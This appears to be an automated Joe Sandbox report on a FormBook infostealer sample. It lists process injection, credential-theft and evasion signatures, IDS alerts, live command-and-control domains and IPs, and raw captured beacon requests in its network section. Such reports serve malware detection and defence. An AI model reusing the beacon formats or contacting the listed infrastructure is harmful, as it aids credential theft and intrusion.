Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
lKvXJ7VVCK.exe

Overview

General Information

Sample name:lKvXJ7VVCK.exe
Analysis ID:1566499
MD5:f3cf71f41423ce451f2c1099cbb08d10
SHA1:b53e311c99840316e3c142d00d639cb216adbd53
SHA256:9a510395868bb9ffe02004ef6010738facba10ab65da2d70f6719a430537c525
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64native
  • lKvXJ7VVCK.exe (PID: 4652 cmdline: "C:\Users\user\Desktop\lKvXJ7VVCK.exe" MD5: F3CF71F41423CE451F2C1099CBB08D10)
    • svchost.exe (PID: 7024 cmdline: "C:\Users\user\Desktop\lKvXJ7VVCK.exe" MD5: B7C999040D80E5BF87886D70D992C51E)
      • aTYBQVHvJYFlI.exe (PID: 7600 cmdline: "C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • sc.exe (PID: 4988 cmdline: "C:\Windows\SysWOW64\sc.exe" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
          • aTYBQVHvJYFlI.exe (PID: 1880 cmdline: "C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 7416 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.60939034602.0000000002CE0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000003.00000002.60942122166.0000000004350000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000004.00000002.60942320274.0000000003090000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000002.00000002.60248720122.00000000006A0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000002.00000002.60250384900.0000000005600000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.6a0000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.6a0000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", CommandLine: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", ParentImage: C:\Users\user\Desktop\lKvXJ7VVCK.exe, ParentProcessId: 4652, ParentProcessName: lKvXJ7VVCK.exe, ProcessCommandLine: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", ProcessId: 7024, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", CommandLine: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", ParentImage: C:\Users\user\Desktop\lKvXJ7VVCK.exe, ParentProcessId: 4652, ParentProcessName: lKvXJ7VVCK.exe, ProcessCommandLine: "C:\Users\user\Desktop\lKvXJ7VVCK.exe", ProcessId: 7024, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-02T10:57:07.917762+010020507451Malware Command and Control Activity Detected192.168.11.2049755108.179.253.19780TCP
                2024-12-02T10:57:31.657489+010020507451Malware Command and Control Activity Detected192.168.11.2049759108.181.189.780TCP
                2024-12-02T10:57:45.420018+010020507451Malware Command and Control Activity Detected192.168.11.204976313.248.169.4880TCP
                2024-12-02T10:58:08.901574+010020507451Malware Command and Control Activity Detected192.168.11.204976723.225.159.4280TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-02T10:57:07.917762+010028554651A Network Trojan was detected192.168.11.2049755108.179.253.19780TCP
                2024-12-02T10:57:31.657489+010028554651A Network Trojan was detected192.168.11.2049759108.181.189.780TCP
                2024-12-02T10:57:45.420018+010028554651A Network Trojan was detected192.168.11.204976313.248.169.4880TCP
                2024-12-02T10:58:08.901574+010028554651A Network Trojan was detected192.168.11.204976723.225.159.4280TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-02T10:55:51.395918+010028554641A Network Trojan was detected192.168.11.204976213.248.169.4880TCP
                2024-12-02T10:55:51.395918+010028554641A Network Trojan was detected192.168.11.204976623.225.159.4280TCP
                2024-12-02T10:57:23.500287+010028554641A Network Trojan was detected192.168.11.2049756108.181.189.780TCP
                2024-12-02T10:57:26.483576+010028554641A Network Trojan was detected192.168.11.2049757108.181.189.780TCP
                2024-12-02T10:57:28.957369+010028554641A Network Trojan was detected192.168.11.2049758108.181.189.780TCP
                2024-12-02T10:57:37.243294+010028554641A Network Trojan was detected192.168.11.204976013.248.169.4880TCP
                2024-12-02T10:57:39.970787+010028554641A Network Trojan was detected192.168.11.204976113.248.169.4880TCP
                2024-12-02T10:58:00.112418+010028554641A Network Trojan was detected192.168.11.204976423.225.159.4280TCP
                2024-12-02T10:58:02.793655+010028554641A Network Trojan was detected192.168.11.204976523.225.159.4280TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: lKvXJ7VVCK.exeReversingLabs: Detection: 23%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.60939034602.0000000002CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.60942122166.0000000004350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942320274.0000000003090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60248720122.00000000006A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60250384900.0000000005600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942493865.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60249438261.00000000030B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.60940863079.0000000000CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Machine Learning detection for sample
                Source: lKvXJ7VVCK.exeJoe Sandbox ML: detected
                Source: lKvXJ7VVCK.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: aTYBQVHvJYFlI.exe, 00000003.00000002.60941080904.0000000000FFE000.00000002.00000001.01000000.00000004.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60942414334.0000000000FFE000.00000002.00000001.01000000.00000004.sdmp
                Source: Binary string: wntdll.pdbUGP source: lKvXJ7VVCK.exe, 00000000.00000003.59698477433.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, lKvXJ7VVCK.exe, 00000000.00000003.59697227498.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60157020497.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.0000000003100000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60159926974.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.000000000322D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60943504311.000000000360D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60943504311.00000000034E0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60248980684.0000000003176000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60251746756.000000000332F000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdbUGP source: svchost.exe, 00000002.00000003.60217838596.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60217738016.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000002.60940177873.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000003.60187674509.00000000007AC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: lKvXJ7VVCK.exe, 00000000.00000003.59698477433.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, lKvXJ7VVCK.exe, 00000000.00000003.59697227498.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.60157020497.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.0000000003100000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60159926974.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.60249519652.000000000322D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, sc.exe, 00000004.00000002.60943504311.000000000360D000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60943504311.00000000034E0000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60248980684.0000000003176000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60251746756.000000000332F000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdb source: svchost.exe, 00000002.00000003.60217838596.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.60217738016.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000002.60940177873.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000003.60187674509.00000000007AC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sc.exe, 00000004.00000002.60945232501.0000000003B0C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000002F9E000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60943858639.0000000002BDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.60549139633.00000000026DC000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sc.exe, 00000004.00000002.60945232501.0000000003B0C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000002F9E000.00000004.00000020.00020000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60943858639.0000000002BDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.60549139633.00000000026DC000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_0055445A
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055C6D1 FindFirstFileW,FindClose,0_2_0055C6D1
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,0_2_0055C75C
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0055EF95
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0055F0F2
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055F3F3 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_0055F3F3
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005537EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_005537EF
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00553B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00553B12
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055BCBC FindFirstFileW,FindNextFileW,FindClose,0_2_0055BCBC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CFCA10 FindFirstFileW,FindNextFileW,FindClose,4_2_02CFCA10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then xor eax, eax4_2_02CE9F90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then pop edi4_2_02CEE5AA
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4x nop then mov ebx, 00000004h4_2_033104EE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49755 -> 108.179.253.197:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49760 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49758 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49755 -> 108.179.253.197:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49757 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49756 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49764 -> 23.225.159.42:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49759 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49759 -> 108.181.189.7:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49767 -> 23.225.159.42:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49767 -> 23.225.159.42:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49761 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49765 -> 23.225.159.42:80
                Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49763 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49763 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49762 -> 13.248.169.48:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49766 -> 23.225.159.42:80
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.avalanchefi.xyz
                Source: global trafficHTTP traffic detected: GETData Raw: Data Ascii:
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
                Source: Joe Sandbox ViewASN Name: CNSERVERSUS CNSERVERSUS
                Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 9.9.9.9
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005622EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_005622EE
                Source: global trafficHTTP traffic detected: GET /7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp+v4YM0KnHaxrwPLb6fKcgQCso5jGZqjP6MhGYYTFao+4npn6icqsLwsi7nEjf66U/iJir790dT5tO47jAWoivYoE2MWqBpMBW+o=&54p4W=QZdpHHSp3fe82zt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.bloodbalancecaps.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /xu9o/?qfsT1X=Y1SnkQLh9oyCIrW0o0KovqTct3bJFcV1zoY93P6OWbCvdS06v54NadR0bxhIZaxlyI96f1lIInN9xaPSBVcrcahRLWEbyZ5aKm/xCs1reU1cMmc0xqKaSRQ=&54p4W=QZdpHHSp3fe82zt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.jalan2.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /ctta/?qfsT1X=73htI/07lnbi6jhjvkJXrlKQRaNn0ZyivRRSV4arkt57XDlKC2xJvnG+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKRrtxl9UhNOptiwMmmbo8BlLeBbb2AsBfiI=&54p4W=QZdpHHSp3fe82zt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.avalanchefi.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GETData Raw: Data Ascii:
                Source: sc.exe, 00000004.00000002.60946576863.0000000007FC6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: policy":"OnlyExposeWidevine","domain":"bluecurvetv.shaw.ca"},{"applied_policy":"OnlyExposeWidevine","domain":"helix.videotron.com"},{"applied_policy":"OnlyExposeWidevine","domain":"criterionchannel.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ntathome.com"},{"applied_policy":"OnlyExposeWidevine","domain":"wowpresentsplus.com"},{"applied_policy":"OnlyExposeWidevine","domain":"vhx.tv"},{"applied_policy":"OnlyExposePlayReady","domain":"hulu.com"},{"applied_policy":"OnlyExposeWidevine","domain":"app.quickhelp.com"},{"applied_policy":"OnlyExposeWidevine","domain":"DishAnywhere.com"}],"policies":[{"name":"OnlyExposePlayReady","type":"Playready"},{"name":"OnlyExposeWidevine","type":"Widevine"}],"version":1},"codec_override":{"applications":[{"applied_policy":"HideMfHevcCodec","domain":"tv.apple.com"},{"applied_policy":"HideMfHevcCodec","domain":"nintendo.com"}],"policies":[{"name":"HideMfHevcCodec","type":"MfHevcCodec"}],"version":1},"content_filter_on_off_switch":{"applications":[{"applied_policy":"ContentFilter","domain":"microsoft.com"}],"policies":[{"name":"ContentFilter"}],"version":1},"ecp_override":{"applications":[{"applied_policy":"PlainTextURLsOnly","domain":"hangouts.google.com"},{"applied_policy":"PlainTextURLsOnly","domain":"chat.google.com"},{"applied_policy":"PlainTextURLsOnly","domain":"slack.com"},{"applied_policy":"PlainTextURLsOnly","domain":"facebook.com"},{"applied_policy":"PlainTextURLsOnly","domain":"wechat.com"},{"applied_policy":"PlainTextURLsOnly","domain":"weixin.com"},{"applied_policy":"PlainTextURLsOnly","domain":"qq.com"},{"applied_policy":"PlainTextURLsOnly","domain":"webex.com"},{"applied_policy":"PlainTextURLsOnly","domain":"wordpress.com"},{"applied_policy":"PlainTextURLsOnly","domain":"twitter.com"},{"applied_policy":"PlainTextURLsOnly","domain":"discord.com"}],"policies":[{"name":"PlainTextURLsOnly","type":"ECPOnlyPlaintextURLs"}],"version":1},"idl_override":{"applications":[{"applied_policy":"ExposePrefixedEME","domain":"netflix.com"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.co.jp"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.co.uk"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.com"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.de"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.es"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.fr"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.in"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.it"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.ca"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.com.br"},{"applied_policy":"ExposePrefixedEME","domain":"sling.com"},{"applied_policy":"ExposePrefixedEME","domain":"openidconnectweb.azurewebsites.net"}],"policies":[{"name":"ExposePrefixedEME","type":"PrefixedEme"}],"version":1},"media_foundation_override":{"applications":[{"applied_policy":"OptIn","domain":"youtube.com","pat
                Source: global trafficDNS traffic detected: DNS query: www.bloodbalancecaps.shop
                Source: global trafficDNS traffic detected: DNS query: www.jalan2.online
                Source: global trafficDNS traffic detected: DNS query: www.avalanchefi.xyz
                Source: global trafficDNS traffic detected: DNS query: www.02760.wang
                Source: global trafficDNS traffic detected: DNS query: www.laohub10.net
                Source: unknownHTTP traffic detected: POST /xu9o/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.jalan2.onlineOrigin: http://www.jalan2.onlineReferer: http://www.jalan2.online/xu9o/Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 203Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30Data Raw: 71 66 73 54 31 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 5a 61 44 49 36 54 53 62 6c 71 66 57 73 56 72 4b 54 35 74 77 69 59 35 5a 30 39 7a 72 57 36 2b 51 66 54 78 4e 72 72 51 75 58 39 56 63 64 45 51 33 4c 4a 77 6e 38 36 78 35 55 56 74 4c 63 55 45 42 68 61 4c 6a 47 6e 77 6c 4d 72 30 69 4c 55 74 43 75 4a 4a 66 56 6c 57 33 4e 74 46 67 58 31 64 74 56 47 6f 30 2b 71 61 48 56 42 4b 6b 6a 38 52 6f 63 52 31 69 53 52 55 62 68 4b 69 4f 70 39 35 56 46 70 38 7a 69 49 6b 72 6d 49 7a 34 36 52 52 30 53 6f 48 6b 55 61 55 74 45 55 77 57 7a 32 66 56 74 6f 4a 72 6c 74 6f 70 39 50 42 2b 4a 35 58 68 7a 77 2f 67 55 67 3d 3d Data Ascii: qfsT1X=V36Hnmii79e6ZaDI6TSblqfWsVrKT5twiY5Z09zrW6+QfTxNrrQuX9VcdEQ3LJwn86x5UVtLcUEBhaLjGnwlMr0iLUtCuJJfVlW3NtFgX1dtVGo0+qaHVBKkj8RocR1iSRUbhKiOp95VFp8ziIkrmIz46RR0SoHkUaUtEUwWz2fVtoJrltop9PB+J5Xhzw/gUg==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 02 Dec 2024 09:57:23 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 02 Dec 2024 09:57:25 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
